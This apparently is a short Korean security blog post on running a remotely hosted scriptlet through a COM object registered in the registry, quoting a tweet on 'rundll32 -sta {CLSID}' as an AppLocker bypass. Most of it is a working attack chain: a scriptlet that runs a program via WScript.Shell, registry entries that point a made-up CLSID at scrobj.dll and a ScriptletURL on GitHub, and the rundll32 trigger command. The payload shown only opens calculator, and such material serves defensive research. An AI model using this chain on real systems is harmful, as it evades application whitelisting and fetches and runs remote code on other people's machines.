레지스트리에 등록된 원격지 스크립트 COM 객체 실행 방법

오호... 트위터에서 다음의 글을 보게 되었습니다. ^^

@bohops
; https://twitter.com/bohops/status/1011350358566821891

Interesting way to call a COM CLSID:

rundll32.exe -sta {CLSID}
rundll32.exe /sta {CLSID}

Use this with @subTee's #squiblydoo COM Hijack method for a default AppLocker Bypass

Haven't found any sec-related resources with -sta (single threaded apartment)

Anyone seen this before?

Scriptlets
; http://www.drdobbs.com/scriptlets/199101569

<?XML version="1.0"?>
<scriptlet>

<registration
    description="Scripting.Dictionary"
    progid="Scripting.Dictionary"
    version="1"
    classid="{00000000-0000-0000-0000-0000000000FF}"
    remotable="true"
    >
</registration>

<script language="JScript">
<![CDATA[

        var r = new ActiveXObject("WScript.Shell").Run("calc.exe");
    
    
]]>
</script>

</scriptlet>

Windows Registry Editor Version 5.00

[HKEY_CLASSES_ROOT\CLSID\{00000000-0000-0000-0000-0000000000FF}]

[HKEY_CLASSES_ROOT\CLSID\{00000000-0000-0000-0000-0000000000FF}\InprocServer32]
@="C:\\\\WINDOWS\\\\system32\\\\scrobj.dll"

[HKEY_CLASSES_ROOT\CLSID\{00000000-0000-0000-0000-0000000000FF}\ScriptletURL]
@="https://raw.githubusercontent.com/stjeong/LOLBAS/master/OSScripts/Payload/Slmgr_calc.sct"

rundll32 -sta {00000000-0000-0000-0000-0000000000FF}